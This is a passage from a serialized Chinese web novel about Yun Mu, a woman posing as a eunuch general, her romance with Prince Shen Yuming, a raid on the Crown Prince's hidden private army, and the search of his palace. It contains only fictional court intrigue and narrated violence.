这番话说完,她的脸已经羞红了一片,这要是没能哄好,她决定把沈聿明丢出云府,让巡街的金吾卫把人带走算了。 手下的心跳如打鼓,一下一下击着沈聿明的掌心,渐渐地,他察觉到胸腔内的心跳和云暮的一般剧烈跳动。 他垂下眼帘,盯着云暮因紧张而抿在一起的双唇,道:“话倒是说得好听,本王怎么知道你是不是在诓人?除非……” 他把手从心口移开,点了点唇。 话已经说出口,再做些旁的事让他安心也并非不可,况且这事儿他们也没少做。 云暮勾着他的衣襟,踮起脚尖将双唇送了上去。 园内虫蛙的鸣声此起彼伏,一声才落,一声又起。角落的昙花在一声声的催促下,缓缓舒展花瓣,清风送来,花蕊不时颤抖。 不远处,辛百草抽出腰间的折扇,刷地一下挡住了安叔的视线,把人往外边推,“安叔,看不得看不得,我们换条路。” 辛百草的动作再快,也瞒不住活了这么多年的安叔,他愁道:“这……这可如何是好?” 辛百草摇了摇折扇:“年轻人的事让他们处理就是,咱只当不知就好了。原以为她能和她师兄……罢了,她苦了这么多年,如今开心就好。” “大人的身份……”他担心的是将来两人和之前一样闹掰,沈聿明会拿此事做文章。辛百草遥遥看了一眼,“安叔,未来之事谁也不敢断言,不过我瞧着王爷比那皇帝老儿好。” 安叔叹了一口气,叫了两人远远守着花园,莫要让人靠近,他则把辛百草往芷园领,“罢了罢了,倒是我多虑了,你何时回江南?我们许久没有一起喝过酒了。” 两人的身影渐行渐远。 梅树下的喘息声取代了水声,云暮伸出两指抵住沈聿明欲靠近的唇,“不来了,等会儿被人看到就解释不清了。” 沈聿明更想继续了,甚至还想留下些标记,他衔着云暮的指尖,用牙尖轻啃:“再来一回,早上的谢礼还未给呢。” 夜间巡府的小厮会经过花园,他们胡闹了许久,小厮恐怕快要到了。云暮冷静地抽回手指,“谢礼就不用了,我送你回房。” 沈聿明得了便宜还卖乖,搂着她的腰就是不松手,云暮只好哄道:“子时已经过了,这几日没歇好,明儿一早还得赶去落霞山,我想歇息了。” 覆着云暮侧脸的手指动了动,指腹抚过眼下的青黑,沈聿明惋惜道:“好吧,但你得答应我一个条件。” 云暮问道:“什么?” 沈聿明轻咳了一声,“今夜我要宿在你院里。” “这……” 孤男寡女共处一院,云暮下意识拒绝。 沈聿明早已料到,他摆出一副可怜的模样:“你不在京城这些时日,我总是梦到你中了梁今越的圈套,被他的私兵群起攻之,夜半总会被噩梦惊醒,唯有在你身边才能放松一二。” 他没有扯谎诓人,做梦是真,被惊醒也是真,在她身边才能安心也是真,只是那个“总是”只有两回罢了。 云暮向来吃他这一套,“我命人把你的被褥搬过来。” 沈聿明捧着她的脸,在脸颊上用力亲了一口,“云大人真是个大善人。” 第一次被人冠了善人的名头的云暮哭笑不得,抓着他的衣袖擦了擦脸,“好了好了,别闹了。” 沈聿明勾起挂在枝头的包袱,亦步亦趋地跟在云暮身后,和她抱怨着这几日的琐事,云暮不时应上几句。 走出花园时,云暮见有两人一左一右守着院门,她转身朝里边望去,幸而从这个角度看不见那棵梅树。 她问道:“你们怎么守在此处?” 那两个小厮也很是不解:“不知,安管家让属下来的。” 安叔?他看见了? “当时除了安叔,还有旁人在吗?” “辛神医也在。” 云暮:…… 被长辈撞见这种事,云暮尴尬得想找个地缝钻进去,她幽怨地看着沈聿明,眼神都是在控诉。 沈聿明无辜回望,心里实则在乐开花了,总算有人发现他和云暮的关系了,还是对方的亲近之人,他此刻只想在门前挂串鞭炮庆祝一二。 第两百二十章 睡不着? 回去的路上,哄人者成了被哄者。 云暮从路旁扯了朵秋菊,一路走一路揪着花瓣,思考着明日见到师父和安叔该说些什么好。 沈聿明揉开她紧皱的眉头:“别多想了,还有我呢,大不了明日我负荆请罪。” 菊花在他手上拍了一下,云暮惆怅道:“我想的不是这个。” 她顿了顿,才继续道:“师父和我从未和安叔提起过我的身份,他约摸以为我是真太监。” “师父走南闯北这么多年,什么样的人都见过,安叔不一样。况且他岁数也大了,我怕他受了刺激。” 沈聿明迟疑道:“能和你师父成为好友,安叔应该不是个拘泥于小节的人,与其担心,不如派人去看看?” 说罢,他不等云暮回答,叫住了还没走远的小厮,“你们去看看辛神医和安叔在做什么,动作快些。” 沈聿明转而看向云暮,“他们还要一会儿才能回来,我们先回去吧。” 越往正院走,两侧花圃里的菊花开得越好,早秋的桂子也传来淡淡的花香,云暮抽动鼻子,只觉花香中带了苦涩。 云暮满腹心事,坐在院里的石凳上,神情紧张地盯着大开的院门。 沈聿明叫人送来水,拧干帕子给她擦脸,“别多想,他们应该快回来了。” 温热的帕子盖在脸上,驱走了些许疲惫,云暮长长叹了一口气,将双手泡在水中。 她计划里的死遁回江南并不包括沈聿明,自然也没想过和师父他们提起沈聿明的关系。 先前和沈聿明去鬼市被师父看出了端倪后,她也没有过多解释,这次被他和安叔碰上,想来是不能随便糊弄了。 “大人。” 云暮精神一震,“进来,师父和安叔在做什么?” 小厮答道:“神医和安管家正在芷园里饮酒,说是不醉不归,神医说府中有喜事,将您三年前埋在树下的酒挖了出来。” 这算哪门子喜事?他们当真不是在借酒消愁?云暮再次沉默。 沈聿明问道:“他们心情如何?” “有说有笑,看起来惬意得很。” 这两个小厮在云府的时间不短,和安叔很是熟稔,知晓对方嗜酒,只是碍于云暮不能饮酒,这才慢慢戒了。今夜能喝到尽兴,定然欣喜。 “下去吧。” 院门合上之际,沈聿明蹲在云暮身前,拿起帕子擦干她的手:“我就说没事吧,你明儿一早还要去落霞山,先回去歇着吧,剩下的事都交给我。” 云暮没好气地捏着他的脸晃了晃,“都怪你。” 沈聿明忍笑道:“是是是,都怪我。他们若是不同意,我便说是本王以势压人,用你的身份做文章,逼你向本王低头。” “师父怕是要把那捆荆条都打断。” 云暮想象着那个画面,乐了,“不知王爷的身板能否撑得住。” 沈聿明引着她的手放在他腰上,“不如你先检查一下本王是否撑得住?” 云暮毫不客气地摸了两把:“虎背蜂腰,想来能挨上两捆,明日我让砚石多给师父备些荆条。” 沈聿明捂着心口,颇为受伤:“分明是你先动的嘴,云将军,你好狠的心。” 她是为的什么才主动啊?云暮捏住他的双颊,“不许说了,你也该歇着了。” 心里装了事,云暮在床上翻来覆去就是睡不着,一想到她将沈聿明压在树上亲的事被师父他们发现,又羞得蹬了两下脚。 “咚咚咚。” 敲击石壁的声音响起。 云暮看向挨着床的那面墙,没有动作。片刻后,那边又传来咚咚声。她才想起这面墙的后面是沈聿明住的厢房,床也正好在墙后。 她抬起手,也敲了三下。 “咚咚咚。” 这一次,声音是从窗外传来。 云暮点了一盏烛火,放在窗边的桌子上,将窗子又往上撑了几分。 “还是睡不着?本王过去给你唱童谣?” 云暮趴在窗边,半张脸面对着沈聿明,“又不是毛头小孩了,哪里还用得着唱童谣。” 沈聿明轻笑了一声,解下腰间的香囊递给了云暮:“里面有几味安神的药材,你把它放在枕边。” 他日日将香囊佩在身上,时间长了,已经有些褪色。云暮摩挲着上面的竹叶纹样,这还是她给沈聿明绣的。 原想绣个白鹤的样式,但她鲜少做这种事,心里想的和绣出来的完全不是一个东西,只能忍痛放弃,选了更为简单的竹叶。 沈聿明揉了揉她的脑袋,“好了,再不睡,本王可就要履行白日的承诺了。” 云暮飞速取下支着窗的木棍,顺手熄了蜡烛,才亮了没多久的正院又重回黑暗。 一溜烟地跑回了床上,将香囊放在枕上,头一偏就能挨到,鼻息间满是熟悉的味道。 云暮想了想,突然从床上坐起,将枕头往墙壁的方向挪了挪,才侧身面对着墙壁躺下,手放在枕上,捏着那枚香囊,摒弃杂念,沉沉睡去。 第二日一早,天才擦亮云暮便已经醒了,正洗着脸,沈聿明就过来了。 “把你吵醒了?” 沈聿明摇头,“没有,平日里要上朝,这个点也该起了。” 云暮正要给他叫水,沈聿明已经从她的盆里掬起一捧水拍在了脸上,她只得递了一张帕子过去。 砚石对此已经见怪不怪了,“大人,王爷,早膳已经备好了。” 云暮闻言,有些诧异:“砚石?” 她又问:“砚清如何了?” 砚石答道:“多谢大人记挂,兄长无碍,今早已经换过药了。神医说再过五日便能摘掉纱布了。” 云暮欣慰道:“那便好,昨日事忙,要制好后也晚了,这才没去看他,等我从落霞山回来后再去看看他。” 砚石抬眼看云暮:“大人,属下想和您一同去落霞山。” 云暮皱眉,不甚同意:“你留在府中,砚清那儿还需要你。” 砚石坚持道:“神医还在府中,大人,您走后属下也会偷偷跟着去,事情了结后,是打是杀属下也认了。” 云暮心道,砚石和砚清不愧是两兄弟,执拗的性子就跟一个模子刻出来的一样。 “你想去就跟着吧。” 第两百二十一章 小没良心的 临出门前,云暮特意绕去了芷园,打院门从里望,房门紧闭,院子里凌乱地躺着好几个空酒坛,她叫来一个小厮:“昨夜神医和安叔喝到什么时辰?” 小厮回道:“回大人,约摸喝到寅时五刻。” 两人多年未见,喝到寅时算不上久。师父又准备回江南,往后也不知何时才能见上一面。 “今日有事去寻陈江即可,勿扰安叔。还有,下人房旁的那个厢房也多派人照看,他那儿若出了什么意外,本将军唯你们是问。” “是。” 云暮再次看了一眼芷园,抬脚朝门口走去。门外,文竹已经驾着马车候着了。 一个要进宫上朝,一个要出城,所行之道不同,然心中所谋却是无异。临近巷口,一人朝左,一人朝右,马车和马的速度同时放缓。 车帘被几根修长的手指撩开,沈聿明探出半颗头,对云暮说道:“万事小心,让他们先行探路,我下了朝就去找你。” 云暮驱马靠近马车,将沈聿明的脑袋塞回车中,“知道,那些毒奈不了我何。” 沈聿明圈住她的手腕,“你莫要觉得幼时乱嚼草药嚼出个百毒不侵的身子就不把那些毒放在眼里,他们阴招不少,防不胜防。” 云暮回握住他的手,应了一声,“你比师父和师兄还啰嗦。” 沈聿明捏了捏她的指尖:“小没良心的,换做不相干的人,本王哪会对他说这些话?” 文竹和砚石一个仰头看天,一个去了巷口把守,权当没看见他们的动作。云暮收回手:“我该走了。” 沈聿明依依不舍地放下车帘,再次叮嘱:“莫要逞强。” 云暮没答,背对着他挥了挥手。 行至城门,云暮便看见徐文领着人在候她,“查得怎么样了?” 徐文答道:“大人,突然出现在城内外的生人不少。有行商的,也有外出求学或是经商归家的,虽说身份能对上,但属下还是将一些可疑之人抓到诏狱了,共计七十余人。” 此前抄卢王两家时,进诏狱的人加起来也不过三十人。 徐文解释道:“在他们家中都搜出了兵器,而且他们和‘爹娘’的关系也颇为微妙,属下这才把人扣住。” 云暮偏头看向徐文:“兵器带来了吗?” 徐文取下腰间的剑:“拿了两柄剑。” 他朝身后伸出手,一柄剑落入他手中,“大人,这是从沙岭村的库房里拿的剑,和这两柄的材质做工一模一样。” 云暮这几日一直和沙岭村的兵器相伴,对它们已经到了只看一眼就能认出的程度,她用食指在剑身上敲了敲,“确实一样。” 他们能想到躲在落霞山,在近道的两侧种满荆棘,还设了不少机关,这次怎么蠢到用沙岭村的兵器出现在人前? 云暮将剑抛给徐文,“诏狱还住得下吗?”徐文慌忙接住剑:“就是再来上百号人,也照样能装得下。” “派人人去刑部、大理寺和京兆尹说一声,让他们把牢房空出来……” 她思虑了片刻,又道:“罢了,先别去,等我消息。”万一私兵没藏在落霞山那岂不是被他们笑话死?她可丢不起这个人。 云暮率着一行人浩浩荡荡朝落霞山而去,殊不知落霞山正有一个“惊喜”在等着她。 此刻的落霞山脚,所有人的眉间都笼罩着一层愁云,不远处更低的山脚下,躺了不少士兵,大夫穿梭在其中,药罐咕噜噜响个不停,还冒着热气。 云暮带去的金吾卫被一行人团团围在中间,寸步难行。 尤其是为首的梁参,还因反抗而负了伤。日头逐渐升起,想来云暮离落霞山也不远了,他冷笑道:“沈副官,连犯两错,一个晚上了,你该想好如何和云将军交代了吧?” 沈副官心情不佳,距离云暮来的时间越近,他的心就越慌,眼下又被梁参讥讽,怒上心头,抬脚上前对着梁参一通踹。 金吾卫边护着梁参边和禁卫军拉扯,场面一度混乱。 隔着好长一段路,云暮就听到了有人喊打喊杀的声音,心里浮起一个不好的预感,她指着昨日来时的路对徐文说道:“你从那条路去墉关,把王爷的人调过来,速度要快。” 她又转身对着身后的禁卫军道:“你们是大梁的将士,主子是皇上,吃的是皇粮,等会儿若是有人被有心之人挑唆,莫要怪本将军不讲同袍之情了。” “是。” 云暮夹紧马肚,朝落霞山的方向飞驰而去。她远远喝道:“住手!” 听到声音,金吾卫便像找到了主心骨一般,朝云暮奔来:“将军!” 云暮横在沈副官和梁参中间,“发生什么事了?” 梁参被押扣了一个晚上,心里对沈副官几人很是怨恨,一股脑将事情原委道出。 “昨日将军走后,沈副官几人贪功冒进,觉此前擒拿卢、王两家之时伤亡较少,便自主主张入山洞擒叛贼。属下率弟兄们好言相劝,他非但不听,后面怕我们给您报信,还命人把我们捆了。” 说到此处,他冷笑了一声,指着冒烟那处说道:“里头机关无数,他们拿人当盾牌来路,到了最后一步时,毒烟弥漫,大半人都折在了里面。” 云暮越听脸色越发黑,先前把里头的人都捉拿归案后,她又率人来了一次,将里边大大小小的机关都毁了去。 如今洞内机关重设,那些私兵定然是躲在里头,她问道:“里头的人呢?” “几位副官尚未部署好便贸然进去,有一批人趁机逃了出来,还有一些被困在里面。” 先前围攻落霞山时,梁参被留在京中,眼看周围的人得赏的得赏,升官的升官,他很是眼红。 他原想此次能借此机会得到云暮赏识,结果被沈副官他们坏了事,他心里恨极了这几人。 云暮捏紧手中的马鞭,看向左边:“三位副官,可有此事?” 事已至此,只需过去看上一眼便能知晓,这还有什么好瞒的?沈副官梗着脖子道:“确有此事。” 第两百二十二章 给阉人下跪 云暮又耐着性子问:“人跑了多少?” 沈副官破罐子破摔了,“不知,晚上太黑,没瞧清。” 几乎是他话音落下之时,云暮命人将三人的甲胄除下,手中的马鞭也随之落下,“本将军有没有说过一切等我回来再说?谁准你轻举妄动?” 她忽然后悔没让暗一跟过来了。 沈副官不占理,只能硬生生受下。云暮的力度不小,马鞭划过空中的破空声让人心惊,不过几鞭就把人打的皮开肉绽。其余两个副官虽然是被沈副官撺掇,可做了就是做了,也该一道受罚。 云暮坐在马上,视线自是高于他们,从她的角度,隐隐能看见躺在低处的受伤的士兵。 “你们想死尽管进去,如今那些人半死不活地躺在那里,你们却全须全尾地站在这里,想好要怎么和他们的家人交代了吗?” 不过一人才打了三鞭,就有人挺身站了出来,“云将军,小人斗胆说上几句。沈副官几人有错,您就没错吗?您若是早早告知其中的利害,副官他们何至于此?” 云暮本就是为了给梁参几人出气,没有想把人置死的想法,闻言顺势收了手机,只是这话多少有些可笑。 她看向说话的小兵,没有品阶的蓝衣下是一抹深红色,头上还顶着帽,这是禁卫军的装扮。 “好胆色,你叫什么?” 小兵也梗着脖子道:“小人姓杨,名忠。” 云暮转动着手腕,温声道:“杨忠?好名字,本将军好奇你忠的是何人?” 杨忠想也不想,直接答道:“属下是沈副官麾下的人,忠的自然是沈副官。”他又指着后面的人说道:“不止是属下,弟兄们心里想的和属下都是一样的。” 云暮恍然大悟,“难怪这么急着替你主子辩解。” 金吾卫和禁卫军水火不容,但云暮只忠于皇上一人,梁文帝对他又格外偏爱,禁卫军轻易不会招惹他们。 金吾卫不过几千余人,每办大案人手不够时,梁文帝派禁卫军一同协助办案,一来二去的,随云暮办过事的禁卫军也摸清了云暮的性子,当下直接跪了下来,异口同声道:“将军,属下忠的是皇上。” 杨忠那个蠢脑袋没想明白,还当他们在巴结云暮,怒斥他们忘恩负义。 沈副官听后,想死的心都有了。当初选杨忠作为他的亲兵,看中的就是对方无脑,拿对方当出头鸟,替他道出那些不能说之话,做一些不能做之事。 杨忠犯了错,沈副官不过是轻飘飘地揭过,也就把人纵成了无法无天的性子。 再者他才进禁卫军没几个月,只听说过云暮的恶名,不曾领教过他的手段。见顶头上司不仅被剥了盔甲,还被一个阉人鞭打,心里很不是滋味,当即直接站了出来。 受鞭刑时还站着的沈副官冷不丁跪下,“云将军,手底下的人不懂事,说错了话,还望大人莫要怪罪。” 杨忠依旧没有醒悟,他绕过云暮就想把人扶起,“副官,给一个阉人下跪……” 这一次,他没能把话说完。砚石一脚把人踹翻在地,拔剑直指杨忠:“有胆你就把刚才的话再重复一遍。” 昨夜被他们困着的金吾卫也步步紧逼,将杨忠围在中间,森然的冷意覆在脸上,像极了罗刹鬼,杨忠终于开始恐慌。 云暮的神情陡然变冷,她下了马,慢行至跪地求饶地杨忠面前,“阉人?身子全乎的你如今不就正跪在我这个阉人面前,求我饶你一回吗?” 山路凹凸不平,碎石随处可见,地上很快就染上了血色。 “将军,属下不识好歹,说错了话,还望将军饶了属下这一回。” 云暮却道:“你是沈副官的手下,本将军哪有这么大的本事罚你?” 这番话纯粹是想让人看清沈副官的真面目。 别说一个小兵,她今天就算在这里将三个副官打死,梁文帝也只会斥她两句,再做表面功夫罚她俸禄亦是禁足。t 在杨忠哀求的眼神中,沈副官直接撇清和他的关系:“属下监管不力,叫他冲撞了将军,此人是打是杀全由将军做主。” 云暮扬手,有人上前将杨忠拖了下去,再对方惊恐的眼神中,她勾出一抹温和的笑:“放心,本将军不杀你。你主子贪功冒进,尚想着如何平息本将军的怒气,你这个在他手下讨生活的倒急着为他出头了,还真是应了那句‘皇帝不急太监急’的话。” “本将军素来最喜成人之美,今日便成全你,赏你做一回阉人。宫中可不比禁卫军,还望你好、自、为、之,给本将军夹着尾巴做人。” 在场之人身下一紧,身体微微躬起,同情地看着杨忠,又庆幸自己没有多言。 云暮是从宫里出来的,大梁朝这么多年也就出了这么一个有实权的太监,宫里想巴结他的人不在少数,杨忠得罪了他,这次进宫别说往上爬了,连活下去都是难事。 她感慨道:“禁卫军还真是没落了,什么阿猫阿狗都能进了。” 她随手指了一个人:“去把庞建叫来,此事他不给我一个交代,禁卫军统领这个位子就换旁人来坐,或者干脆让禁卫军消失好了。” 等庞建的这段时间里,云暮也没闲着,她放出飞云令后,看着金吾卫和禁卫军悬殊的人数,心里有些没底,常常趁人不备朝墉关的方向望去。 直到看见银色的冷光,她的心终于落回原位。 是徐文带人来了。 没多久,冯章几人也终于赶到,但让云暮意想不到的是,郑鹤桉竟也来了。 她按下诧异,“中郎将,你怎么也来了?” 郑鹤桉和裴然私下有往来,也在万宝斋的账册上,直觉告诉云暮,郑鹤桉此番前来没有这么简单。 郑鹤桉扫了周围一眼,道:“属下看见飞云令,恐将军有危险,便也赶过来了,将军这是在?” 没人敢声张捉拿叛贼之事,云暮猜他是来试探的,她道:“墉关的土匪逃到了落霞山,本将军奉旨前来剿匪。” 第二百二十三章 替我盯着郑鹤桉 云暮先去看了那些受了伤的士兵,替他们号了脉后,便断定他们中了xx毒,她心里有了盘算。宽慰了几句后,她便开始部署抓人。 和此前一样,兵分四路,各自把守一个出口,在看到郑鹤桉的时候,云暮犯了难,放他一人独自守一个洞口她不放心,但眼下又没有多余的人能盯着他。 她思来想去,还是没能想出一个好法子,最后只能道:“中郎将守……” “云将军!” 即便声音经过伪装,但对于云暮来说依旧熟悉,她迟疑地将头扭向身后,不可置信地望着来人。 沈聿明,他怎么来了?今日这么快就下朝了? 尘土被马蹄扬在身后,马还未停稳,沈聿明便已经下了马,他喘着粗气道:“我……属下来迟了,你没事吧?” 见郑鹤桉不住打量,云暮也只能按下疑惑,“无事,你既然来了,便和中郎将一道守北面。石洞门前就是山道,本将军给你们多拨些兵马。” 一个不知打哪冒出的无名小卒已经出乎郑鹤桉的预料了,他悄悄把人处理了再推到那些逃出去的私兵身上,算不得什么难事,但再多拨些人手只会误了他的事。 郑鹤桉劝道:“将军,里面不知有多少山匪,您还是多带些人进去更为稳妥。” 云暮轻笑了一声,也陪他一起作戏:“那些个山匪顶了天也就百来号人,仗着对京外了解便想占山为王,真是白日做梦。” 言语间很是自负。 郑鹤桉无法,只能接受,正好也探一探那个无名小卒的底子。 “将军,庞统领来了。” 还没等云暮开口,庞建已经带着沈副官几人闯进了临时搭建的营帐,“云将军,事情我都听说了,是我没教好手底下的人,庞某这就把人提回京城,听候皇上发落。” 云暮挑眉问道:“皇上已经知道了?” 庞建各踹了三人几脚,抽空回云暮的话:“是,来之前已经派人进宫和皇上告罪了。” 云木对此并不太大的不满,沈副官几人成然有错,但到底将洞内的机关探了一遍,也算立了一功,这也是云暮在盛怒之下没有重罚他们的原因。 她叫停庞建:“行了行了,你也别在这儿演了,那力道跟十天没吃过饭一样。人你自己处置,皇上那边若问起,我也只能如实回话。但你记得一点,以后再有这种事,我就没有这么好说话了。” 庞建又踹了几人几脚,“傻愣着干什么,还不快谢过云将军。” 以为会不得善终的几人忙不迭跪地磕头,“多谢云将军开恩。” 云暮摆摆手,随庞建来到账外,指着那些受伤的人道:“庞统领,按照昨日的计划,现下我已经带人进山洞抓叛贼了,你手下的人灵机一动,折损了这么多人。” 此祸确实是他的人所闯,不管方才有没有承云暮的情,庞建都得做出点表示,他道:“云将军需要我做什么?” 云暮很满意他的识趣,“你带人马布下陷阱后,就去替我盯着郑鹤桉。” 当年中郎将易主一事闹得人尽皆知,庞统领自然也知,但这些年来,郑鹤桉对云暮都是一副好脸色,也从没忤逆过云暮,他还当两人已经和解了呢。 他了然道:“放心,我一定替你把人看好。”云暮拱手道:“多谢。” 再次回来,云暮没有磨蹭,三言两语把事情都安排好后,她走到账外的一个树荫下,“交代得如何了?” 砚石将手中的图纸递给他:“大人,就是这些了。” 此人作为沈副官钦点的“先锋”一员,因躲得快中毒不深,今儿一早被大夫灌了两碗药后就已经好了大半,如今身上只剩些不算严重的擦伤。 云暮让他写下的就是机关具体的位置。 砚石挥退那人,“因惊吓,有些位置他已经记不大清了。” 图纸上的位置和之前并无差别,就连机关大多都是在原有的基础上改造的。 云暮将图纸还给砚石,“你再临出几份,一会儿给他们传阅。” 砚石又重新坐了回去。 待分好解毒丹,已经过去了一个时辰,再也不能耽搁了。她命人打开洞门,幽黑的长道深得不见尽头,几个先锋视死如归地迈出了第一步。 有了前两次的经验,云暮这次进去有惊无险,并无太多伤亡。眼看快到最后的毒烟,她让队伍末尾的士兵把水转移到最前头,又命除先锋以外的人往后退了五六步。 箭雨击在机关上,石壁的缝隙里飘来一阵浓烟,即便是鼻下蒙了湿布,云暮还是闻到了一股刺鼻的味道。 云暮道:“把水泼向石壁。” 先锋忍着眩晕往前几步,用力将桶中水泼向石壁,烟雾消散时,他们紧贴着石壁站定。 云暮按下机关,石壁轰然打开,持盾的士兵率先冲了进去,场面很是混乱。 从沙岭村的兵器来猜测,太子的私兵约摸有六百人。几百号人挤在这个洞里,只能从所穿的衣物来分辨对方是否是叛贼。 她被人护在身后,打量着周遭,里面不过三百余人,昨夜趁乱逃了近半数人? 眼看这些人毫无退缩之意,云暮猜到这些是派来拖住他们的,剩下那些逃了一夜,定然是追不上了。 许久没被人算计,云暮心里憋着气,提剑上前,下手狠厉。 短时间内虽无法分出胜负,但太子的私兵也不过才练了几年,即便是日日苦练,也比不过经过层层严苛选拔的金吾卫和沙场出身禁卫军。 时间一长,孰强孰弱,初见端倪。 一番苦战后,终究还是云暮带来的人占了上风,三百余名私兵只剩下两百多人。 从头看到尾,甚至还命身形相似者扯了脸皮,都未发现卢靖的踪迹,云暮只能作罢。 一直候在外头等着接应人的郑鹤桉闻讯赶来,见状不由发问:“云将军在找谁?”又道:“这些人怎么看都不像是山匪啊。” 云暮耸了耸肩,“谁知道呢,收队回京,此事自有皇上定夺。” 第二百三十四章 宫人侵吞太子的东西 一行人在墉关和落霞山守了这么多天,带着两百余人折返回京城。 云暮将人押进诏狱后没有第一时间进宫,反而是回了布政坊,直到申时快过了才入宫。 “微臣见过皇上。” 大小不一的花盆在勤政殿外摆满了,菊香中掺着一丝清苦,梁文帝正负手站在廊下:“起来吧,云卿你来得正好,这些都是涿州才送来的菊花。” 他指着那株开得正好的xx菊道:“你还没回府吧?朕记得你从前最爱拿它泡茶,今年给宫里送了十株,朕私心留下它,其余九株都命吕梁送去云府了。” 只送九盆,意思不言而喻。 云暮还在因卢靖带人不知逃到何处而郁闷,见梁文帝还是这副模样,心下更是觉得晦气。 “皇上臣有要事回禀。” 菊花甚多,气味传到勤政殿内,只剩下淡淡的苦味。 云暮拿出前不久刚写好的折子和近日整理的证据递了上去:“皇上,据沙岭村所制的兵器推断,太子共豢养私兵六百余人。然因其行事谨慎,所留证据大多都被销毁,只能证明沙岭村与太子有过往来。” 云暮才率人回到京城,梁文帝这边就已经得了消息,再有就是暗一日日都会向他汇报情况,梁文帝比云暮想的还要更了解情况。 他接过折子,粗略地扫了一眼后,将其随意丢掷在桌上,道:“去请太子。” 一朵菊花和一壶热水被端进了勤政殿,梁文帝亲自动手给云暮泡了一杯菊花茶。茶杯底下金黄色的菊花给淡黄色的茶水添了几分颜色。 “云卿,这几日辛苦了,有一年没给你泡过茶了,试试朕的手艺有没有退步。” 往年涿州的菊花送来那日,梁文帝都会给云暮泡上一杯茶,云暮奔波了大半日,只在布政坊用了一杯茶,眼下双唇已经干得起皮了。 但眼下她没有闲心喝茶。 “皇上,太子……” 梁文帝却道:“喝了再说。” 云暮无法,只能闭了嘴,有一下没一下地拨着茶杯盖。太子到时她碗中的茶已经没了大半。 太子被禁足许久,整个人身形消瘦,胡子显然也是来前才刮,还带着青色的胡茬。 “儿臣见过父皇。” 不过短短的一句话,已经让他声音哽咽。 云暮饶有兴致地看着太子逢场作戏,这些时日,消息真假掺半被递进东宫,他只知梁文帝盯上了墉关,却不知他们查到了什么东西。 几乎是太子前脚才到,皇后后脚就派人来了。 “皇上,皇后娘娘宫里的人来了,说是娘娘想面圣。” 太子被禁足了多久,皇后就被禁足了多久,消息这般灵通,谁递的口信在场之人都知。 但这种关头,云暮断定梁文帝不会见人。果不其然,她听见梁文帝冷声道:“她的好儿子给朕准备了一份大礼,朕可没空见她。” “云卿,你来说。”云暮将准备好的证据一一呈到太子面前,“殿下,这是您名下田庄和商铺的账本盈亏的情况,三年前的天灾依旧有三万两的银子进账。” 账目虽然干净,但太子做了亏心事,最怕的便是被人查账,他稳了稳心神:“这些都是下人在管,孤也不清楚。” 云暮“哦”了一声,又道:“东宫每年都有这么多银子入账,但为何年年都道银子不够花?” 太子依旧和他打太极:“孤从不过问这些,如何得知?” 云暮正了脸色,“殿下是说这些银子您都没有动过?” 太子义正言辞道:“那是自然。” 云暮转身对梁文帝说道:“皇上,臣要举东宫的下人侵吞主子的银钱。” 太子惊愕地看向云暮:“你胡说!” 云暮仍维持着行礼的姿势,“皇上,太子宫里年年进账几万两银子,丰年时几近达十万之数。太子未动,钱财却不翼而飞,可见东宫里的那些人皆是始作俑者。” “臣请旨暂封东宫,将事情调查清楚。” 养私兵得给人兵器,铸兵器得用用铁,然而铁矿都由官府管辖,为此,太子不惜用大半身家偷偷在大梁和东胡的交界处买了座矿山。 剩下那些银子也才勉强够维持私兵训练的花销,若是遇上天灾,田庄的管事还会多征一笔税。 这些事如何能让梁文帝知晓? 梁文帝看向太子:“太子,你以为如何?” 太子额间冒出了一层冷汗,吕梁去东宫穿口谕时,他便打听了一番,早就得了云暮吩咐的吕梁只透了几句无关紧要的事。 东宫里存着好些人的把柄,若是被搜出,后果不堪设想,他当即驳了云暮的请求,“儿臣绝不同意搜宫。” “父皇,此事交由儿臣去查,定会把账目查得一清二楚。” 梁文帝手下压着从沙岭村搜来的证据,道:“这么多年都没有发现端倪,你要怎么查?” 太子汗颜,“儿臣用人不察,还望父皇恕罪。” 梁文帝扯了扯嘴角:“即是用人不察,朕今日便教你如何用人,云卿,去搜宫。” “是。” 她和沈聿明的人将胡宗远名下的房产都翻了一遍,依旧没有发现账册。这么重要的东西不在他手中,那只能在太子手中。 太子来之前,云暮和梁文帝商议了一番,若太子瞒下银子一事,她便以此为借口搜查东宫,若太子把银子花在其他用途上,便以田庄的事为借口向他发难。 于是在方才的对话中,云暮将此书往装无辜的方向上引,也不知太子是不是这几日被关傻了,竟傻傻地钻了套子。 云暮一声令下,守在东宫外的忠心耿耿的“禁卫军”便直入东宫,将一众奴仆都扣在院中。 “东宫这些年的进账高达六十万两银子,然东宫依旧入不敷出,皇上疑心有人偷盗太子殿下的钱财,特命本将军前来搜查。” 东宫的下人直呼冤枉,太子管教极严,又是在宫里,他们怎会乱拿主子的东西?但也有一些偷摸地补贴家用,细细算起都不超过六两银子。 现下云暮将六十两银子的空缺按在他们头上,这不是要他们的命吗? 第二百二十五章 钻狗洞 云暮带着目的来的东宫,懒得听他们辩解,“搜。”她直奔太子的书房。 即便是在对他如铁桶般牢固的东宫,太子仍然是充满戒备,书房内除了各类的书便是一些赏玩的器物,没有半点可疑的东西。 云暮和砚石两人把能动的东西都转了个遍,房内布无一变化,云暮狐疑道:“不应当,此处定然有密室才对,难不成在卧房?” 砚石笃定道:“大人,兄长说了,书房内有密室,但他未能得见如何打开。” 云暮不会怀疑砚清的话,既不在器物上,那只能从脚下的地板入手了。 “将军,外头有人想见您。” 此刻云暮只想找出密室,再从中找到太子与他人勾结的证据,她头也不抬地说道:“没看见本将军在忙?不见。” 人才走了没一会儿又折回来了,他捏着手中的东西犹犹豫豫地说道:“将军……那人临走前给了属下一个信物,说是对您有用。” 砚石原想把人打发走,但见了那两样东西后就接了过来,“大人,不如您先看看再定夺。” 连砚石都这般说了,云暮也只好停下手中之事,“何物?” 砚石把东西递给云暮,“大人。” 入手的一瞬间,云暮带着温度的手心多了一丝冰凉,她低头一看,是那天晚上送出去的一枚玉佩,还有一张写了三个字的字条。 《晚秋图》 玉佩是她那晚偷偷闯进长宁公主寝宫时,为了表示诚意送给对方的。 而那幅《晚秋图》…… 云暮盯着墙角装着画的瓷缸,从十几幅画找出了那幅《晚秋图》,将其挂于墙上,毫无动静后复又放下,书房仍旧没有动静。 长宁说这个消息对她有用,但试了这么多方法,竟无一个是对的,云暮将砚石留在书房,她则暗中去了一趟长宁的寝宫。 才翻进过围墙,云暮察觉到今日的情形和那夜不同,那些恨不得时刻趴在门窗上注视着长宁一举一动的宫人此刻已经没了身影。 她如入无人之境,大摇大摆地朝正殿走去,对坐在主位上的人拱手行了一礼,“下官见过公主。” 